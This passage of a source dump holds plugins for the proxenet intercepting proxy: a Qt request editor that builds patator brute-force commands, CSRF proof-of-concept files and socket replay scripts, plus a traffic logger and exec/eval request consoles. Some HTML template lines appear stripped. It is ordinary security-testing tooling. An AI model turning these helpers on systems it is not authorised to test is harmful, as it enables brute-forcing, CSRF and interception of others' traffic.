538 | cmd+= """method="{}" """.format(method.replace('"', '\\"'))
539 | for h in headers[1:]:
540 | if len(h):
541 | cmd+= """header="{}" """.format(h.replace('"', '\\"'))
542 | if self.body is not None and len(self.body) > 0:
543 | cmd+= """body="{}" """.format(self.body.replace('"', '\\"'))
544 | cmd+= "-x ignore:code=404 -x ignore,retry:code=500"
545 |
546 | self.sendToGeneric("patator", cmd)
547 | return
548 |
549 | def writeCsrfPoc(self):
550 | filename = QFileDialog().getSaveFileName(self, "Save CSRF PoC As", os.getenv("HOME"))
551 | if len(filename) == 0:
552 | return
553 |
554 | body = self.data.split("\n\n")[1]
555 | if len(body) == 0:
556 | return
557 |
558 | content = "CSRF PoCCSRF PoC for {}".format(self.uri)
559 | content+= ""
568 |
569 | with open(filename, "w") as f:
570 | f.write(content)
571 |
572 | QtGui.QMessageBox.information(self, "File written", "CSRF PoC written as '{}'".format(filename), QtGui.QMessageBox.Ok)
573 | return
574 |
575 | def writeGenericFile(self, title, content):
576 | filename = QFileDialog().getSaveFileName(self, title, os.getenv("HOME"))
577 | if len(filename) == 0:
578 | return
579 | with open(filename, "w") as f:
580 | f.write(content)
581 | return
582 |
583 | def writeTxtFile(self):
584 | self.writeGenericFile("Save Request as Text", self.data)
585 | return
586 |
587 | def writePyFile(self):
588 | o = urlparse.urlparse( self.uri )
589 | netloc = o.netloc.split(":")[0]
590 | if o.port is None: port = 443 if o.scheme == 'https' else 80
591 | else: port = int(o.port)
592 | data = self.data.replace("\n", "\\r\n")
593 | content = '''#!/usr/bin/env python
594 | #
595 | # Replay script for '{:s}'
596 | #
597 |
598 | import socket
599 | {:s}
600 |
601 | HOST = '{:s}'
602 | PORT = {:d}
603 |
604 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
605 | {:s}
606 | s.connect((HOST, PORT))
607 | s.sendall(b"""{:s}""")
608 |
609 | while True:
610 | data = s.recv(1024)
611 | print data
612 | if len(data)<=1024: break
613 | s.close()
614 | #
615 | # Automatically generated by '{:s}'
616 | #
617 | '''.format(self.uri, "import ssl" if o.scheme=='https' else '', netloc,
618 | port, "s = ssl.wrap_socket(s)" if o.scheme=='https' else '',
619 | data, PLUGIN_NAME)
620 |
621 | self.writeGenericFile("Create Python script from Request", content)
622 | return
623 |
624 | def writeRbFile(self):
625 | o = urlparse.urlparse( self.uri )
626 | netloc = o.netloc.split(":")[0]
627 | if o.port is None: port = 443 if o.scheme == 'https' else 80
628 | else: port = int(o.port)
629 | data = self.data.replace("\n", "\r\n")
630 | content = '''#!/usr/bin/env ruby
631 | #
632 | # Replay script for '{:s}'
633 | #
634 | require 'socket'
635 | {:s}
636 |
637 | HOST = '{:s}'
638 | PORT = {:d}
639 |
640 | crlf = \"\\r\\n"
641 | socktcp = TCPSocket.new(HOST, PORT)
642 | '''.format(self.uri, "require 'openssl'" if o.scheme=='https' else '', netloc, port)
643 | if o.scheme=='https':
644 | content += '''sockssl = OpenSSL::SSL::SSLSocket.new(socktcp)
645 | sockssl.connect()
646 | sock = sockssl\n\n'''
647 | else:
648 | content += '''sock = socktcp\n\n'''
649 |
650 | content += "req = socktcp" + '\n'
651 |
652 | for line in self.data.split("\n"):
653 | content += "req << \"%s\" + crlf\n" % line
654 |
655 | content += '''sock.puts(req)
656 |
657 | while line = sock.gets()
658 | puts line.chop()
659 | end
660 |
661 | sock.close()
662 | #
663 | # Automatically generated by '{:s}'
664 | #
665 | '''.format(PLUGIN_NAME)
666 |
667 | self.writeGenericFile("Create Ruby script from Request", content)
668 | return
669 |
670 | def writePlFile(self):
671 | o = urlparse.urlparse( self.uri )
672 | netloc = o.netloc.split(":")[0]
673 | if o.port is None: port = 443 if o.scheme == 'https' else 80
674 | else: port = int(o.port)
675 | data = self.data.replace("\n", "\\r\n")
676 | content = '''#!/usr/bin/env perl
677 | #
678 | # Replay script for '{:s}'
679 | #
680 | use IO::Socket::INET;
681 | {:s}
682 |
683 | $HOST = "{:s}";
684 | $PORT = {:d};
685 | $crlf = "\\r\\n";
686 |
687 | '''.format(self.uri, "use IO::Socket::SSL;" if o.scheme=='https' else '', netloc, port)
688 | if o.scheme=='https':
689 | content += '''$sock = IO::Socket::SSL->new("$HOST:$PORT");'''
690 | else:
691 | content += '''$sock = new IO::Socket::INET(PeerHost=>"$HOST",PeerPort=>"$PORT",Proto=>'tcp');'''
692 |
693 | content += "\n"
694 | content += "$req = \"\";\n"
695 | for line in self.data.split("\n"):
696 | content += "$req .= %s . $crlf;\n" % repr(line)
697 | content += """
698 | print $sock $req;
699 |
700 | while (my $line = <$sock>) {{
701 | print $line;
702 | }}
703 |
704 | close($sock);
705 | #
706 | # Automatically generated by '{:s}'
707 | #
708 | """.format(PLUGIN_NAME)
709 |
710 | self.writeGenericFile("Create Ruby script from Request", content)
711 | return
712 |
713 | class ReceptorMainWindow(QWidget):
714 | def __init__(self, parent):
715 | super(ReceptorMainWindow, self).__init__()
716 | self.parent = parent
717 | self.do_updateClen = True
718 | self.setMainWindowLayout()
719 | return
720 |
721 | def bounceResponse(self):
722 | self.parent.body = str( self.bodyEditField.toPlainText() )
723 | if self.do_updateClen:
724 | self.updateContentLengthHeader()
725 | QApplication.quit()
726 | return
727 |
728 | def updateResponseBody(self):
729 | self.parent.body = self.bodyEditField.toPlainText()
730 | return
731 |
732 | def setMainWindowLayout(self):
733 | bodyLayout = QVBoxLayout()
734 | lurl1 = QLabel("URL")
735 | lurl2 = QLabel("%s
" % ("darkgreen" if self.parent.uri.startswith("https") \
736 | else "darkred",
737 | self.parent.uri))
738 | lb = QLabel("Body")
739 | self.bodyEditField = QTextEdit()
740 | self.bodyEditField.insertPlainText( self.parent.body )
741 | self.bodyEditField.setFrameStyle(QFrame.Panel | QFrame.Plain)
742 | self.bodyEditField.textChanged.connect( self.updateResponseBody )
743 | bodyLayout.addWidget(lurl1)
744 | bodyLayout.addWidget(lurl2)
745 | bodyLayout.addWidget(lb)
746 | bodyLayout.addWidget(self.bodyEditField)
747 |
748 | btnLayout = QHBoxLayout()
749 | btnLayout.addStretch(1)
750 | cb = QCheckBox("Update 'Content-Length' header")
751 | cb.stateChanged.connect(self.updateContentLengthState)
752 | cb.toggle()
753 | bounceButton = QPushButton("Bounce")
754 | bounceButton.clicked.connect( self.bounceResponse )
755 | cancelButton = QPushButton("Cancel")
756 | cancelButton.clicked.connect(QApplication.quit)
757 | btnLayout.addWidget(cb)
758 | btnLayout.addWidget(cancelButton)
759 | btnLayout.addWidget(bounceButton)
760 |
761 | vbox = QVBoxLayout()
762 | vbox.addLayout(bodyLayout)
763 | vbox.addLayout(btnLayout)
764 | self.setLayout(vbox)
765 | return
766 |
767 | def updateContentLengthState(self, state):
768 | self.do_updateClen = (state == QtCore.Qt.Checked)
769 | return
770 |
771 | def updateContentLengthHeader(self):
772 | try:
773 | headers, body = self.parent.body.split("\n"*2)
774 | headers = headers.split("\n")
775 | content_length = len(body)
776 | done = False
777 |
778 | for i in xrange( len(headers) ):
779 | header = str( headers[i] )
780 | if header.startswith("Content-Length") and not done:
781 | headers.pop(i)
782 | headers.append("Content-Length: %d" % content_length)
783 | done = True
784 |
785 | self.parent.body = "\n".join( headers ) + "\n"*2 + body
786 | except:
787 | pass
788 | return
789 |
790 |
791 | class Receptor(QMainWindow):
792 | def __init__(self, rid, uri, data):
793 | super(Receptor, self).__init__()
794 | self.title = "Receptor for proxenet: Request-id %d" % (rid,)
795 | self.rid = rid
796 | self.uri = uri
797 | self.body = data
798 |
799 | self.setMainWindowProperty()
800 | self.setMainWindowMenuBar()
801 | self.setCentralWidget( ReceptorMainWindow( self ) )
802 | self.show()
803 | return
804 |
805 | def center(self):
806 | frameGm = self.frameGeometry()
807 | screen = QtGui.QApplication.desktop().screenNumber(QtGui.QApplication.desktop().cursor().pos())
808 | centerPoint = QtGui.QApplication.desktop().screenGeometry(screen).center()
809 | frameGm.moveCenter(centerPoint)
810 | self.move(frameGm.topLeft())
811 | return
812 |
813 | def setMainWindowProperty(self):
814 | self.resize(*WINDOW_SIZE)
815 | self.setFixedSize(*WINDOW_SIZE)
816 | self.setWindowTitle(self.title)
817 | self.center()
818 |
819 | if config.has_option(PLUGIN_NAME, "style"):
820 | qtlook = config.get(PLUGIN_NAME, "style")
821 | else:
822 | qtlook = "Cleanlooks"
823 | qApp.setStyle( qtlook )
824 | return
825 |
826 | def setMainWindowMenuBar(self):
827 | saveTxtFile = QAction(QIcon(), 'Save As Text file', self)
828 | saveTxtFile.setShortcut('Ctrl+T')
829 | saveTxtFile.triggered.connect(self.writeTxtFile)
830 |
831 | menubar = self.menuBar()
832 | fileMenu = menubar.addMenu('&Actions')
833 | fileMenu.addAction(saveTxtFile)
834 | return
835 |
836 | def writeTxtFile(self):
837 | filename = QFileDialog().getSaveFileName(self, "Save Request as Text", os.getenv("HOME"))
838 | if len(filename) == 0:
839 | return
840 | with open(filename, "w") as f:
841 | f.write(self.body)
842 | return
843 |
844 |
845 | def is_blacklisted_extension(uri):
846 | global config
847 |
848 | if config.has_option(PLUGIN_NAME, "blacklisted_extensions"):
849 | blacklist = [x.lower() for x in config.get(PLUGIN_NAME, "blacklisted_extensions").split(" ")]
850 | else:
851 | blacklist = []
852 |
853 | o = urlparse.urlparse( uri )
854 | path = o.path.lower()
855 | for ext in blacklist:
856 | if path.endswith(ext):
857 | return True
858 | return False
859 |
860 |
861 | def create_config_file():
862 | with open(CONFIG_FILE, "w") as f:
863 | f.write("[%s]\n" % PLUGIN_NAME)
864 | f.write("style = Cleanlooks\n")
865 | f.write("blacklisted_extensions = .css .js .jpg .png\n")
866 | return
867 |
868 |
869 | def init_config():
870 | global config
871 |
872 | if config is None:
873 | if not os.access(CONFIG_FILE, os.R_OK):
874 | error("Creating config file at '%s'" % CONFIG_FILE)
875 | create_config_file()
876 |
877 | config = ConfigParser.ConfigParser()
878 | config.read(CONFIG_FILE)
879 | return
880 |
881 |
882 | def intercept(rid, text, uri):
883 | init_config()
884 | if is_blacklisted_extension(uri):
885 | return text
886 |
887 | try:
888 | text = text.replace(CRLF, "\n")
889 | app = QApplication([uri,])
890 | win = Interceptor(rid, uri, text)
891 | win.show()
892 | app.exec_()
893 | ret = str(win.data).replace("\n", CRLF)
894 | return ret
895 |
896 | except Exception as e:
897 | error("An unexpected exception occured on request %d: %s" % (rid,e))
898 | return text
899 |
900 |
901 | def recept(rid, text, uri):
902 | init_config()
903 | if is_blacklisted_extension(uri):
904 | return text
905 |
906 | try:
907 | text = text.replace(CRLF, "\n")
908 | app = QApplication([uri,])
909 | win = Receptor(rid, uri, text)
910 | win.show()
911 | app.exec_()
912 | ret = str(win.body).replace("\n", CRLF)
913 | return ret
914 |
915 | except Exception as e:
916 | error("An unexpected exception occured on response %d: %s" % (rid, e))
917 | return text
918 |
919 |
920 | def call_gui(_type, rid, buffer, uri):
921 | cmd = ["python2", inspect.getfile(inspect.currentframe()), _type, str(rid), uri]
922 | p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
923 | if p is None: return request
924 | data = p.communicate(input = buffer)[0]
925 | p.wait()
926 | return data
927 |
928 |
929 | def proxenet_request_hook(request_id, request, uri):
930 | if __name__.endswith("InterceptorResponse") or __name__.endswith("Interceptor"):
931 | return call_gui("req", request_id, request, uri)
932 | else:
933 | return request
934 |
935 |
936 | def proxenet_response_hook(response_id, response, uri):
937 | if __name__.endswith("InterceptorResponse") or __name__.endswith("Interceptor"):
938 | return call_gui("res", response_id, response, uri)
939 | else:
940 | return response
941 |
942 |
943 | if __name__ == "__main__":
944 | if len(sys.argv) == 4:
945 | if sys.argv[1] in ("req", "res"):
946 | rid = int(sys.argv[2])
947 | buf = sys.stdin.read()
948 | url = sys.argv[3]
949 | if sys.argv[1] == "req":
950 | sys.stdout.write(intercept(rid, buf, url))
951 | sys.stdout.flush()
952 | elif sys.argv[1] == "res":
953 | sys.stdout.write(recept(rid, buf, url))
954 | sys.stdout.flush()
955 | exit(0)
956 |
957 | # test goes here
958 | rid = 1337
959 | vs = '%2fwEPDwUKMTQ2OTkzNDMyMWRkOWxNFeQcY9jzeKVCluHBdzA6WBo%3d'
960 | uri = "https://foo.bar/bar.asp"
961 | body = "&".join(["a=b", "b=c", "t=x", "__VIEWSTATE=%s"%vs])
962 | req = """POST /bar.asp HTTP/1.1\r
963 | Host: foo.bar\r
964 | X-Header: Powered by proxenet\r
965 | Content-Length: %d\r
966 | \r
967 | %s""" % (len(body), body)
968 |
969 | os.write(2, '%d\n' % len(sys.argv))
970 | print ("="*50)
971 | print ("BEFORE:\n%s\n" % req)
972 |
973 | print ("="*50)
974 | print ("AFTER intercept:\n%s\n" % intercept(rid, req, uri))
975 |
976 | # print ("="*50)
977 | # print ("AFTER recept:\n%s\n" % recept(rid, req, uri))
978 |
--------------------------------------------------------------------------------
/9LogReqRes.py:
--------------------------------------------------------------------------------
1 | """
2 | Stores all traffic in a SQLite db
3 | Note: requests & responses are stored as is (i.e. might be binary, compressed, etc)
4 |
5 | For merging multiple SQLite databases generated by this plugin, use
6 | proxenet-logreqres-merge.py (https://gist.github.com/hugsy/1cad97ed7cd68cc87c8a) to merge
7 | them.
8 |
9 | """
10 |
11 | import sys, os, sqlite3, time, ConfigParser
12 |
13 | PLUGIN_NAME = "LogReqRes"
14 | AUTHOR = "hugsy"
15 |
16 | HOME = os.getenv( "HOME" )
17 | CONFIG_FILE = os.getenv("HOME") + "/.proxenet.ini"
18 |
19 | db = None
20 |
21 | class SqliteDb:
22 | def __init__(self, dbname):
23 | print("[%s] HTTP traffic will be stored in '%s'" % (PLUGIN_NAME, dbname))
24 | self.data_file = dbname
25 | self.execute("CREATE TABLE IF NOT EXISTS requests (id INTEGER, request BLOB, uri TEXT, timestamp INTEGER, comment TEXT DEFAULT NULL)")
26 | self.execute("CREATE TABLE IF NOT EXISTS responses (id INTEGER, response BLOB, uri TEXT, timestamp INTEGER, comment TEXT DEFAULT NULL)")
27 | return
28 |
29 | def connect(self):
30 | self.conn = sqlite3.connect(self.data_file)
31 | self.conn.text_factory = str
32 | return self.conn.cursor()
33 |
34 | def disconnect(self):
35 | self.conn.close()
36 | return
37 |
38 | def execute(self, query, values=None):
39 | cursor = self.connect()
40 | if values is None:
41 | cursor.execute(query)
42 | else:
43 | cursor.execute(query, values)
44 |
45 | self.conn.commit()
46 | return cursor
47 |
48 |
49 | def proxenet_on_load():
50 | global db
51 |
52 | try:
53 | option_name = "db_path"
54 | config = ConfigParser.ConfigParser()
55 | config.read(CONFIG_FILE)
56 | dbpath = os.path.realpath( config.get(PLUGIN_NAME, option_name, 0, {"home": os.getenv("HOME")}) )
57 | if not os.path.exists(dbpath):
58 | raise Exception("Falling back to autogen db")
59 |
60 | fmt_name = config.get(PLUGIN_NAME, "db_name_fmt")
61 | dbname = dbpath + "/" + fmt_name
62 | dbname = dbname.format(timestamp=int(time.time()),
63 | progname=PLUGIN_NAME,
64 | pid=os.getpid(),
65 | format="sqlite",
66 | )
67 |
68 | except Exception as e:
69 | dbname = "/tmp/proxenet-"+str( int(time.time()) )+".db"
70 | print("[-] Could not find '%s/%s' option in '%s', using default '%s'" % (PLUGIN_NAME, option_name, CONFIG_FILE, dbname))
71 |
72 | db = SqliteDb( dbname=dbname )
73 |
74 | return
75 |
76 |
77 | def proxenet_on_leave():
78 | global db
79 |
80 | db.disconnect()
81 | return
82 |
83 |
84 | def exist_rid(table, rid, uri):
85 | global db
86 |
87 | sql_req = "SELECT COUNT(*) FROM %s WHERE id=? AND uri=?" % table
88 | cur = db.execute(sql_req, (rid,uri))
89 | res = cur.fetchone()[0]
90 | return res > 0
91 |
92 |
93 | def insert_log(table, rid, req, uri):
94 | global db
95 |
96 | ts = int( time.time() )
97 | sql_req = "INSERT INTO %s VALUES (?, ?, ?, ?, ?)" % table
98 | db.execute(sql_req, (rid, req, uri, ts, ''))
99 | return
100 |
101 |
102 | def update_log(table, rid, blob):
103 | global db
104 |
105 | sql_req = "SELECT * FROM %s WHERE id=?" % table
106 | cur = db.execute(sql_req, (rid,))
107 | new_blob = cur.fetchone()[1]
108 | new_blob+= blob
109 |
110 | if table == "requests": sql_req = "UPDATE requests SET request=? WHERE id=?"
111 | else: sql_req = "UPDATE responses SET response=? WHERE id=?"
112 | db.execute(sql_req, (new_blob, rid))
113 | return
114 |
115 |
116 | def proxenet_request_hook(request_id, request, uri):
117 | table = "requests"
118 | if exist_rid(table, request_id, uri):
119 | update_log(table, request_id, request)
120 | else:
121 | insert_log(table, request_id, request, uri)
122 | return request
123 |
124 |
125 | def proxenet_response_hook(response_id, response, uri):
126 | table = "responses"
127 | if exist_rid(table, response_id, uri):
128 | update_log(table, response_id, response)
129 | else:
130 | insert_log(table, response_id, response, uri)
131 | return response
132 |
133 |
134 | if __name__ == "__main__":
135 | uri = "foo"
136 | req = "GET / HTTP/1.1\r\nHost: foo\r\nX-Header: Powered by proxenet\r\n\r\n"
137 | res = "HTTP/1.0 200 OK\r\n\r\n"
138 | rid = 42
139 |
140 | proxenet_on_load()
141 | proxenet_request_hook(rid, req, uri)
142 | proxenet_response_hook(rid, res, uri)
143 | proxenet_on_leave()
144 |
145 | sys.exit(0)
146 |
--------------------------------------------------------------------------------
/9NoHardFeelingsBro.py:
--------------------------------------------------------------------------------
1 | import burst.http
2 | import burst.console
3 |
4 | AUTHOR = "hugsy"
5 | PLUGIN_NAME = "NoHardFeelingsBro"
6 |
7 | show_banner = True
8 | banner = """ _ _
9 | | |__ _ _ _ _ __| |_
10 | | '_ \ || | '_(_-< _|
11 | |_.__/\_,_|_| /__/\__|
12 |
13 | By @tweksteen
14 | """
15 | def interact_request(rid, req, uri):
16 | global show_banner
17 | if show_banner:
18 | print "Loading..."
19 | print burst.console.banner
20 | show_banner = False
21 | print "Your request RID={:d} ('{:s}') is in variable `http'".format(rid, uri)
22 | print "To send the modified request, enter 'quit';",
23 | print "to send the original request, enter 'reset'."
24 |
25 | is_ssl = uri.startswith("https://")
26 | http = burst.http.Request(req, use_ssl=is_ssl)
27 | while True:
28 | try:
29 | cmd = raw_input("\x1b[4m"+"\x1b[1m"+">>>"+"\x1b[0m"+" ").strip()
30 | if cmd == "reset":
31 | ret = req
32 | break
33 | if cmd == "quit":
34 | ret = str(http)
35 | break
36 | exec(cmd)
37 | except KeyboardInterrupt:
38 | ret = req
39 | break
40 | except EOFError:
41 | ret = req
42 | break
43 | return ret
44 |
45 | def proxenet_request_hook(request_id, request, uri):
46 | return interact_request( request_id, request, uri )
47 |
48 | def proxenet_response_hook(response_id, response, uri):
49 | return response
50 |
51 | if __name__ == "__main__":
52 | burst.console.interact()
53 |
--------------------------------------------------------------------------------
/9SeriouslyNoHardFeelings.rb:
--------------------------------------------------------------------------------
1 | turf_libdir = File.expand_path( File.dirname(__FILE__) )
2 | $LOAD_PATH.unshift(turf_libdir) unless $LOAD_PATH.include?(turf_libdir)
3 | require 'turf/turf'
4 | require 'uri'
5 |
6 |
7 | module SeriouslyNoHardFeelings
8 | $AUTHOR = "hugsy"
9 | $PLUGIN_NAME = "NoHardFeelingsBro"
10 |
11 | $banner = " _ __
12 | | | / _|
13 | | |_ _ _ _ __| |_
14 | | __| | | | '__| _|
15 | | |_| |_| | | | |
16 | \\__|\\__,_|_| |_|
17 |
18 | "
19 | $show_banner = true
20 | module_function
21 |
22 | def interact_request(rid, req, uri)
23 | if $show_banner
24 | puts $banner
25 | $show_banner = false
26 | end
27 | puts "Your request RID=#{rid} ('#{uri}') is in variable `http'"
28 | puts "To send the modified request, enter 'quit'; to send the original request, enter 'reset'."
29 |
30 | is_ssl = uri.start_with? "https://"
31 | url = URI(uri)
32 | print
33 | http = Turf::Request.new req, hostname: url.host, port: url.port, use_ssl: is_ssl
34 | while true do
35 | print "\x1b[4m" << "\x1b[1m" << ">>>" << "\x1b[0m" << " "
36 | cmd = gets()
37 | if cmd == "reset\n" then
38 | ret = req
39 | break
40 | elsif cmd == "quit\n" then
41 | ret = http.to_s
42 | break
43 | else
44 | eval(cmd)
45 | end
46 | end
47 |
48 | return ret
49 | end
50 |
51 | def proxenet_request_hook(request_id, request, uri)
52 | ret = interact_request( request_id, request, uri )
53 | return ret
54 | end
55 |
56 | def proxenet_response_hook(response_id, response, uri)
57 | return response
58 | end
59 |
60 | end
61 |
62 | if __FILE__ == $0
63 | # use for test cases
64 | end
65 |
--------------------------------------------------------------------------------
/DumpReqRes.py:
--------------------------------------------------------------------------------
1 | """
2 | Dump to stdout HTTP requests and responses only if their content
3 | is text-only (no raw bytes)
4 | """
5 |
6 | __PLUGIN_NAME__ = "DumpReqRes"
7 | __PLUGIN_AUTHOR__ = "@hugsy"
8 |
9 |
10 | def proxenet_on_load():
11 | print("Hello from {}".format(__PLUGIN_NAME__))
12 | return
13 |
14 | def proxenet_on_leave():
15 | print("Goodbye from {}".format(__PLUGIN_NAME__))
16 | return
17 |
18 | def proxenet_request_hook(rid, request, uri):
19 | c = set([ chr(i) for i in range(0, 20) ]) - set(['\r', '\n'])
20 | r = set(request)
21 | if len(c & r)==0:
22 | print rid, "->", uri
23 | print request
24 | return request
25 |
26 |
27 | def proxenet_response_hook(rid, response, uri):
28 | c = set([ chr(i) for i in range(0, 20) ]) - set(['\r', '\n'])
29 | r = set(response)
30 | if len(c & r)==0:
31 | print rid, "->", uri
32 | print response
33 | return response
34 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Lesser General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
